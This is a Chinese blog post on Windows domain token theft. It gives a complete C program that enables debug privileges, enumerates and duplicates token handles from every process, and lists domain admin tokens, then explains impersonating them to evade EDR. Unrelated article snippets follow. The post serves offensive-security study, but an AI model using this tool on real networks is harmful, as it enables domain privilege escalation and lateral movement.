域内令牌窃取

前言

有这样一种场景,拿到了一台主机权限,是本地管理员,同时在这台主机上登录的是域管成员,这时我们可以通过dump lsass或通过 Kerberos TGT ,但是这是非常容易被edr命中的。

本文就通过令牌窃取进行研究,并希望知道其中的具体细节。

通过dump lsass

此时你能够通过dump lsass或者等绕过方式抓取到域管用户的ntlm hash,通过这个hash然后再去pth等方式利用,但在有edr环境中,这是很容易被hunt的。

token list

我们可以获取当前主机上所有的token并列出,因为我们此时拥有本地管理员权限,通过Debug

#include <stdio.h>
#include <windows.h>
#include <winternl.h>
#include <lm.h>
#pragma comment(lib, "netapi32.lib")
#pragma comment(lib, "ntdll")

#define MAX_USERNAME_LENGTH 256
#define MAX_DOMAINNAME_LENGTH 256
#define FULL_NAME_LENGTH 271
#define TOKEN_TYPE_LENGTH 30
#define COMMAND_LENGTH 1000
#define STATUS_SUCCESS                          ((NTSTATUS)0x00000000L)
#define STATUS_INFO_LENGTH_MISMATCH             ((NTSTATUS)0xC0000004L)
#define STATUS_BUFFER_OVERFLOW                  ((NTSTATUS)0x80000005L)
#define SystemHandleInformation                 16
#define SystemHandleInformationSize             1024 * 1024 * 10

typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO {
    USHORT ProcessId;
    USHORT CreatorBackTraceIndex;
    UCHAR ObjectTypeIndex;
    UCHAR HandleAttributes;
    USHORT HandleValue;
    PVOID Object;
    ULONG GrantedAccess;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO;

typedef struct _SYSTEM_HANDLE_INFORMATION {
    ULONG NumberOfHandles;
    SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
}  SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;

typedef enum _POOL_TYPE {
    NonPagedPool,
    PagedPool,
    NonPagedPoolMustSucceed,
    DontUseThisType,
    NonPagedPoolCacheAligned,
    PagedPoolCacheAligned,
    NonPagedPoolCacheAlignedMustS
} POOL_TYPE, * PPOOL_TYPE;

typedef struct _OBJECT_TYPE_INFORMATION {
    UNICODE_STRING Name;
    ULONG TotalNumberOfObjects;
    ULONG TotalNumberOfHandles;
    ULONG TotalPagedPoolUsage;
    ULONG TotalNonPagedPoolUsage;
    ULONG TotalNamePoolUsage;
    ULONG TotalHandleTableUsage;
    ULONG HighWaterNumberOfObjects;
    ULONG HighWaterNumberOfHandles;
    ULONG HighWaterPagedPoolUsage;
    ULONG HighWaterNonPagedPoolUsage;
    ULONG HighWaterNamePoolUsage;
    ULONG HighWaterHandleTableUsage;
    ULONG Inis_token_validAttributes;
    GENERIC_MAPPING GenericMapping;
    ULONG is_token_validAccess;
    BOOLEAN SecurityRequired;
    BOOLEAN MaintainHandleCount;
    USHORT MaintainTypeList;
    POOL_TYPE PoolType;
    ULONG PagedPoolUsage;
    ULONG NonPagedPoolUsage;
} OBJECT_TYPE_INFORMATION, * POBJECT_TYPE_INFORMATION;

typedef UNICODE_STRING OBJECT_NAME_INFORMATION;
typedef UNICODE_STRING* POBJECT_NAME_INFORMATION;

using fNtQuerySystemInformation = NTSTATUS(WINAPI*)(
    ULONG SystemInformationClass,
    PVOID SystemInformation,
    ULONG SystemInformationLength,
    PULONG ReturnLength
);

typedef struct {
    HANDLE token_handle;
    int token_id;
    wchar_t owner_name[FULL_NAME_LENGTH];
    wchar_t user_name[FULL_NAME_LENGTH];
    wchar_t TokenType[100];
    wchar_t TokenImpersonationLevel[100];
} TOKEN;

void get_token_owner_info(TOKEN* TOKEN_INFO) {
    wchar_t username[MAX_USERNAME_LENGTH], domain[MAX_DOMAINNAME_LENGTH], full_name[FULL_NAME_LENGTH];
    SID_NAME_USE sid;
    DWORD user_length = sizeof(username), domain_length = sizeof(domain), token_info;
    if (!GetTokenInformation(TOKEN_INFO->token_handle, TokenOwner, NULL, 0, &token_info)) {
        PTOKEN_OWNER TokenStatisticsInformation = (PTOKEN_OWNER)GlobalAlloc(GPTR, token_info);
        if (GetTokenInformation(TOKEN_INFO->token_handle, TokenOwner, TokenStatisticsInformation, token_info, &token_info)) {
            LookupAccountSidW(NULL, ((TOKEN_OWNER*)TokenStatisticsInformation)->Owner, username, &user_length, domain, &domain_length, &sid);
            _snwprintf_s(full_name, FULL_NAME_LENGTH, L"%ws/%ws", domain, username);
            wcscpy_s(TOKEN_INFO->owner_name, TOKEN_TYPE_LENGTH, full_name);
        }
    }
}

void get_token_user_info(TOKEN* TOKEN_INFO) {
    wchar_t username[MAX_USERNAME_LENGTH], domain[MAX_DOMAINNAME_LENGTH], full_name[FULL_NAME_LENGTH];
    DWORD user_length = sizeof(username), domain_length = sizeof(domain), token_info;
    SID_NAME_USE sid;
    if (!GetTokenInformation(TOKEN_INFO->token_handle, TokenUser, NULL, 0, &token_info)) {
        PTOKEN_USER TokenStatisticsInformation = (PTOKEN_USER)GlobalAlloc(GPTR, token_info);
        if (GetTokenInformation(TOKEN_INFO->token_handle, TokenUser, TokenStatisticsInformation, token_info, &token_info)) {
            LookupAccountSidW(NULL, ((TOKEN_USER*)TokenStatisticsInformation)->User.Sid, username, &user_length, domain, &domain_length, &sid);
            _snwprintf_s(full_name, FULL_NAME_LENGTH, L"%ws/%ws", domain, username);
            wcscpy_s(TOKEN_INFO->user_name, TOKEN_TYPE_LENGTH, full_name);
        }
    }
}

void get_token_security_context(TOKEN* TOKEN_INFO) {
    DWORD returned_tokimp_length;
    if (!GetTokenInformation(TOKEN_INFO->token_handle, TokenImpersonationLevel, NULL, 0, &returned_tokimp_length)) {
        PSECURITY_IMPERSONATION_LEVEL TokenImpersonationInformation = (PSECURITY_IMPERSONATION_LEVEL)GlobalAlloc(GPTR, returned_tokimp_length);
        if (GetTokenInformation(TOKEN_INFO->token_handle, TokenImpersonationLevel, TokenImpersonationInformation, returned_tokimp_length, &returned_tokimp_length)) {
            if (*((SECURITY_IMPERSONATION_LEVEL*)TokenImpersonationInformation) == SecurityImpersonation) {
                wcscpy_s(TOKEN_INFO->TokenImpersonationLevel, TOKEN_TYPE_LENGTH, L"SecurityImpersonation");
            }
            else if (*((SECURITY_IMPERSONATION_LEVEL*)TokenImpersonationInformation) == SecurityDelegation) {
                wcscpy_s(TOKEN_INFO->TokenImpersonationLevel, TOKEN_TYPE_LENGTH, L"SecurityDelegation");
            }
            else if (*((SECURITY_IMPERSONATION_LEVEL*)TokenImpersonationInformation) == SecurityAnonymous) {
                wcscpy_s(TOKEN_INFO->TokenImpersonationLevel, TOKEN_TYPE_LENGTH, L"SecurityAnonymous");
            }
            else if (*((SECURITY_IMPERSONATION_LEVEL*)TokenImpersonationInformation) == SecurityIdentification) {
                wcscpy_s(TOKEN_INFO->TokenImpersonationLevel, TOKEN_TYPE_LENGTH, L"SecurityIdentification");
            }
        }
    }
}

void get_token_information(TOKEN* TOKEN_INFO) {
    DWORD returned_tokinfo_length;
    if (!GetTokenInformation(TOKEN_INFO->token_handle, TokenStatistics, NULL, 0, &returned_tokinfo_length)) {
        PTOKEN_STATISTICS TokenStatisticsInformation = (PTOKEN_STATISTICS)GlobalAlloc(GPTR, returned_tokinfo_length);
        if (GetTokenInformation(TOKEN_INFO->token_handle, TokenStatistics, TokenStatisticsInformation, returned_tokinfo_length, &returned_tokinfo_length)) {
            if (TokenStatisticsInformation->TokenType == TokenPrimary) {
                wcscpy_s(TOKEN_INFO->TokenType, TOKEN_TYPE_LENGTH, L"TokenPrimary");
            }
            else if (TokenStatisticsInformation->TokenType == TokenImpersonation) {
                wcscpy_s(TOKEN_INFO->TokenType, TOKEN_TYPE_LENGTH, L"TokenImpersonation");
            }
        }
    }
}

LPWSTR GetObjectInfo(HANDLE hObject, OBJECT_INFORMATION_CLASS objInfoClass) {
    LPWSTR data = NULL;
    DWORD dwSize = sizeof(OBJECT_NAME_INFORMATION);
    POBJECT_NAME_INFORMATION pObjectInfo = (POBJECT_NAME_INFORMATION)malloc(dwSize);

    NTSTATUS ntReturn = NtQueryObject(hObject, objInfoClass, pObjectInfo, dwSize, &dwSize);
    if ((ntReturn == STATUS_BUFFER_OVERFLOW) || (ntReturn == STATUS_INFO_LENGTH_MISMATCH)) {
        pObjectInfo = (POBJECT_NAME_INFORMATION)realloc(pObjectInfo, dwSize);
        ntReturn = NtQueryObject(hObject, objInfoClass, pObjectInfo, dwSize, &dwSize);
    }
    if ((ntReturn >= STATUS_SUCCESS) && (pObjectInfo->Buffer != NULL)) {
        data = (LPWSTR)calloc(pObjectInfo->Length, sizeof(WCHAR));
        CopyMemory(data, pObjectInfo->Buffer, pObjectInfo->Length);
    }
    free(pObjectInfo);
    return data;
}

int wmain(int argc, wchar_t* argv[]) {

    HANDLE hToken;
    DWORD cbSize;
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetCurrentProcessId());
    OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
    GetTokenInformation(hToken, TokenIntegrityLevel, NULL, 0, &cbSize);
    PTOKEN_MANDATORY_LABEL pTIL = (PTOKEN_MANDATORY_LABEL)LocalAlloc(0, cbSize);
    GetTokenInformation(hToken, TokenIntegrityLevel, pTIL, cbSize, &cbSize);
    DWORD integrity_level = (DWORD)*GetSidSubAuthority(pTIL->Label.Sid, (DWORD)(UCHAR)(*GetSidSubAuthorityCount(pTIL->Label.Sid) - 1));

    if (integrity_level < SECURITY_MANDATORY_HIGH_RID) {
        printf("Low privilege, cannot use the impersonation technique...\n");
        return 1;
    }

    TOKEN_PRIVILEGES tp;
    LUID luidSeAssignPrimaryTokenPrivilege;
    printf("[?] Enabling SeAssignPrimaryToken\n");
    if (LookupPrivilegeValue(NULL, SE_ASSIGNPRIMARYTOKEN_NAME, &luidSeAssignPrimaryTokenPrivilege) == 0) {
        printf("\t[!] SeAssignPrimaryToken not owned!\n");
    }
    else {
        printf("\t[*] SeAssignPrimaryToken owned!\n");
    }
    tp.PrivilegeCount = 1;
    tp.Privileges[0].Luid = luidSeAssignPrimaryTokenPrivilege;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    if (AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL) == 0) {
        printf("\t[!] SeAssignPrimaryToken adjust token failed: %d\n", GetLastError());
    }
    else {
        printf("\t[*] SeAssignPrimaryToken enabled!\n");
    }

    LUID luidSeDebugPrivivilege;
    printf("[?] Enabling SeDebugPrivilege\n");
    if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luidSeDebugPrivivilege) == 0) {
        printf("\t[!] SeDebugPrivilege not owned!\n");
    }
    else {
        printf("\t[*] SeDebugPrivilege owned!\n");
    }
    tp.PrivilegeCount = 1;
    tp.Privileges[0].Luid = luidSeDebugPrivivilege;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    if (AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL) == 0) {
        printf("\t[!] SeDebugPrivilege adjust token failed: %d\n", GetLastError());
    }
    else {
        printf("\t[*] SeDebugPrivilege enabled!\n");
    }

    CloseHandle(hProcess);
    CloseHandle(hToken);

    ULONG returnLenght = 0;
    TOKEN found_tokens[100];
    int nbrsfoundtokens = 0;
    fNtQuerySystemInformation NtQuerySystemInformation = (fNtQuerySystemInformation)GetProcAddress(GetModuleHandle(L"ntdll"), "NtQuerySystemInformation");
    PSYSTEM_HANDLE_INFORMATION handleTableInformation = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, SystemHandleInformationSize);
    NtQuerySystemInformation(SystemHandleInformation, handleTableInformation, SystemHandleInformationSize, &returnLenght);
    for (DWORD i = 0; i < handleTableInformation->NumberOfHandles; i++) {
        SYSTEM_HANDLE_TABLE_ENTRY_INFO handleInfo = (SYSTEM_HANDLE_TABLE_ENTRY_INFO)handleTableInformation->Handles[i];
        
        HANDLE process = OpenProcess(PROCESS_DUP_HANDLE, FALSE, handleInfo.ProcessId);
        if (process == INVALID_HANDLE_VALUE) {
            CloseHandle(process);
            continue;
        }

        HANDLE dupHandle;
        if (DuplicateHandle(process, (HANDLE)handleInfo.HandleValue, GetCurrentProcess(), &dupHandle, 0, FALSE, DUPLICATE_SAME_ACCESS) == 0) {
            CloseHandle(process);
            continue;
        }

        POBJECT_TYPE_INFORMATION objectTypeInfo = (POBJECT_TYPE_INFORMATION)malloc(8192);
        if (wcscmp(GetObjectInfo(dupHandle, ObjectTypeInformation), L"Token")) {
            CloseHandle(process);
            CloseHandle(dupHandle);
            continue;
        }

        TOKEN TOKEN_INFO;
        TOKEN_INFO.token_handle = dupHandle;
        get_token_owner_info(&TOKEN_INFO);
        get_token_user_info(&TOKEN_INFO);
        get_token_information(&TOKEN_INFO);

        if (wcscmp(TOKEN_INFO.TokenType, L"TokenPrimary") != 0) {
            get_token_security_context(&TOKEN_INFO);
        }
        else {
            wcscpy_s(TOKEN_INFO.TokenImpersonationLevel, TOKEN_TYPE_LENGTH, L" ");
        }

        int is_new_token = 0;
        for (int j = 0; j <= nbrsfoundtokens; j++) {
            if (wcscmp(found_tokens[j].user_name, TOKEN_INFO.user_name) == 0 && wcscmp(found_tokens[j].TokenType, TOKEN_INFO.TokenType) == 0 && wcscmp(found_tokens[j].TokenImpersonationLevel, TOKEN_INFO.TokenImpersonationLevel) == 0) {
                is_new_token = 1;
            }
        }

        if (is_new_token == 0) {
            TOKEN_INFO.token_id = nbrsfoundtokens;
            found_tokens[nbrsfoundtokens] = TOKEN_INFO;
            nbrsfoundtokens += 1;
        }
        CloseHandle(process);
    }

    printf("\n[*] Listing available tokens\n");
    for (int k = 0; k < nbrsfoundtokens; k++) {
        printf("[ID: %d][%ws][%ws] Owner: %ws User: %ws\n", found_tokens[k].token_id, found_tokens[k].TokenType, found_tokens[k].TokenImpersonationLevel, found_tokens[k].owner_name, found_tokens[k].user_name);
    }

    return 0;
}

  • 由二进制文件本身生成的令牌 ID,用于标识令牌

  • 指示令牌是主令牌还是模拟令牌的令牌类型

  • 令牌的安全上下文,如果令牌是模拟令牌(这就是此字段对于主要令牌为空的原因)。有四种不同的值指示用户是否经过身份验证,是否可以模拟他们以及如何:

    • SecurityAnonymous:该进程无法识别系统上的用户,因此无法模拟他们(大多数相关线程是在使用匿名绑定进行非交互式日志记录后获得的)

    • SecurityIdentification:该进程可以识别系统上的用户但不能模拟他们

    • SecurityImpersonate:用户已通过身份验证,可以在本地系统上模拟

    • SecurityDelegation:用户已通过身份验证,可以在本地系统和远程系统上进行模拟

  • 令牌的所有者,创建它的人

  • 令牌关联的用户

可使用DuplicateTokenEx去复制一个令牌

通过DuplicateTokenEx去复制一个令牌后,有如下三种方式去模拟登录或创建进程

  • 使用ImpersonateLoggedOnUser函数

  • 创建新进程使用CreateProcessAsUser或者 CreateProcessWithToken

  • 使用LogonUser 函数

其中logonuser需要我们提供账号密码,我们不使用他

ImpersonateLoggedOnUser

可以直接将复制域管权限的令牌传入,在执行RevertToSelf函数之前都会以模拟令牌的权限进行运行

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/456702.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

MySQL 篇-深入了解事务四大特性及原理

&#x1f525;博客主页&#xff1a; 【小扳_-CSDN博客】 ❤感谢大家点赞&#x1f44d;收藏⭐评论✍ 文章目录 1.0 事务的概述 2.0 事务的特性 2.1 原子性 2.2 一致性 2.3 持久性 2.4 隔离性 2.4.1 脏读问题 2.4.2 不可重复读问题 2.4.3 幻读问题 3.0 事务的四个隔离级别 3.1…

Apache DolphinScheduler-3.2.0集群部署教程

集群部署方案(2 Master 3 Worker) Apache DolphinScheduler官网&#xff1a;https://dolphinscheduler.apache.org/zh-cnApache DolphinScheduler使用文档&#xff1a;https://dolphinscheduler.apache.org/zh-cn/docs/3.2.0截止2024-01-19&#xff0c;最新版本&#xff1a;3…

【学一点儿前端】vue3+vite不能使用require引入包的问题(require is not defined)

问题 今天本来想简单敲个码&#xff0c;结果遇到一个报错&#xff1a;require is not defined 原因 查了各方资料&#xff0c;原因如下&#xff1a; 前端有很多的工具包是commonjs的写法&#xff0c;只能用require引入&#xff0c;而vitevue3构建的项目不能使用require&…

Gemma: Open Models Based on Gemini Research and Technology

Gemma: Open Models Based on Gemini Research and Technology 相关链接&#xff1a;arxiv 关键字&#xff1a;Gemma、Google DeepMind、open models、language understanding、reasoning 摘要 这项工作介绍了Gemma&#xff0c;一系列轻量级、最先进的开放模型&#xff0c;基于…

C++中的STL-string类

文章目录 一、为什么学习string类&#xff1f;1.1 C语言中的字符串 二、准库中的string类2.2 string类2.3 string类的常用接口说明2.4 string类对象的容量操作2.5 string类对象的访问及遍历操作2.5 string类对象的修改操作2.7 string类非成员函数2.8 模拟实现string 一、为什么…

Python环境搭建 -- Python与PyCharm安装

一、Python安装 我们先找到Python的官方网站&#xff0c;在浏览器中搜索Python即可&#xff0c;然后进入Python官网 点击Downloads&#xff0c;选择对应匹配的操作系统 点进去之后&#xff0c;Python的版本分为稳定的版本和前置版本&#xff0c;前置的版本就是还没有发行的版本…

接口自动化测试思路和实战 —— 编写线性测试脚本实战!

接口自动化测试框架目的 测试工程师应用自动化测试框架的目的: 增强测试脚本的可维护性、易用性(降低公司自动化培训成本&#xff0c;让公司的测试工程师都可以开展自动化测试)。 自动化测试框架根据思想理念和深度不同&#xff0c;渐进式的分为以下几种: 线性脚本框架 模块…

室内定位在数字化中的应用

随着数字化经济的迅速发展&#xff0c;室内定位技术正逐渐成为一个不可或缺的重要组成部分。它不仅能够提升用户体验&#xff0c;还能够帮助企业实现更精准的市场定位和营销策略。本文将探讨室内定位在数字化经济中的应用及其带来的优势。 首先&#xff0c;室内定位技术在商业…

原生php单元测试示例

下载phpunit.phar https://phpunit.de/getting-started/phpunit-9.html 官网 然后win点击这里下载 新建目录 这里目录可以作为参考&#xff0c;然后放在根目录下 新建一个示例类 <?phpdeclare(strict_types1);namespace Hjj\DesignPatterns\Creational\Hello;class He…

Python3虚拟环境之pipenv

pipenv是python官方推荐的包管理工具&#xff0c;集成了virtualenv, pip和pyenv三者的功能。集合了所有的包管理工具的长处&#xff0c;自动为项目创建和管理虚拟环境。 安装 pip install pipenv在Pycharm中使用 修改Pipfile的安装源参数url&#xff0c;改为https://pypi.tun…

基于Python的中医药知识问答系统设计与实现

[简介] 这篇文章主要介绍了基于Python的中医药知识问答系统的设计与实现。该系统利用Python编程语言&#xff0c;结合中医药领域的知识和技术&#xff0c;实现了一个功能强大的问答系统。文章首先介绍了中医药知识的特点和传统问答系统的局限性&#xff0c;然后提出了设计思路…

如何在Windows系统部署Plex影音站点并实现公网访问内网媒体库

文章目录 1.前言2. Plex网站搭建2.1 Plex下载和安装2.2 Plex网页测试2.3 cpolar的安装和注册 3. 本地网页发布3.1 Cpolar云端设置3.2 Cpolar本地设置 4. 公网访问测试5. 结语 1.前言 用手机或者平板电脑看视频&#xff0c;已经算是生活中稀松平常的场景了&#xff0c;特别是各…

《鸟哥的Linux私房菜》第6章——总结与习题参考答案

目录 一、 简介 二、一些新了解的指令 1.touch- 修改文件时间或创建新文件 2.umask-新建文件/目录的默认权限 3.文件隐藏属性 4.文件特殊权限 5.file-观察文件类型 三、简答题部分 一、 简介 本章介绍了一些常用的文件与目录指令&#xff0c;包括新建/删除/复制/移动/查…

devops-git【部署及配置】

1、安装Git Linux做为服务器端系统&#xff0c;Windows作为客户端系统&#xff0c;分别安装Git&#xff1a; 【服务器端】 输入git --version 若出现 -bash:git:command not found则需要安装git&#xff1b;服务器端&#xff1a;输入yum -y install git安装完后&#xff0c;…

java枚举与模拟方法

枚举 枚举的定义 枚举算法&#xff08;穷举算法&#xff09;&#xff0c;这种算法就是在解决实际问题的时候去使用所有的方式去解决这个问题&#xff0c;会通过推理去考虑事件发生的每一种可能性&#xff0c;最后推导出结果 优点 简单粗暴&#xff0c;他暴力的枚举所有可能&…

[ROS 系列学习教程] rosbag C++ API

ROS 系列学习教程(总目录) 本文目录 一、rosbag::Bag1.1 常用接口1.2 其他接口 二、rosbag::View2.1 常用接口2.1.1 代码示例 rosbag 的 C API 主要有两个类&#xff0c;用于写bag文件的Bag类&#xff0c;和用于读bag文件的View类。 一、rosbag::Bag 用于写bag文件。 头文件…

变量直接赋值、浅拷贝、深拷贝、递归、异常

对象拷贝(对象存在堆中) 变量直接赋值 赋值 就是一个&#xff0c;比如let obj2obj1 这就是赋值&#xff0c;只是把栈中存储的值&#xff0c;赋值给另一个变量 把obj1在栈中的地址&#xff0c;赋值给obj2 <script>let str hellolet str2 str //把str的值,赋值给str2.也…

Linux系统Docker部署Plik系统结合内网穿透实现公网访问本地文件

文章目录 1. Docker部署Plik2. 本地访问Plik3. Linux安装Cpolar4. 配置Plik公网地址5. 远程访问Plik6. 固定Plik公网地址7. 固定地址访问Plik 本文介绍如何使用Linux docker方式快速安装Plik并且结合Cpolar内网穿透工具实现远程访问&#xff0c;实现随时随地在任意设备上传或者…

HarmonyOS NEXT应用开发之深色模式适配

介绍 本示例介绍在开发应用以适应深色模式时&#xff0c;对于深色和浅色模式的适配方案&#xff0c;采取了多种策略如下&#xff1a; 固定属性适配&#xff1a;对于部分组件的颜色属性&#xff0c;如背景色或字体颜色&#xff0c;若保持不变&#xff0c;可直接设定固定色值或…

企业微信如何接入第三方应用?

1.登录企业微信管理后台&#xff1a;https://work.weixin.qq.com/wework_admin​​​​​ 2.点击创建应用&#xff1b; ​​​​​​​ 3. 此时可以看到已经创建好的应用&#xff0c;并且生成应用的唯一id&#xff08;agentId&#xff09; 4. 第三方应用申请域名 (举例&…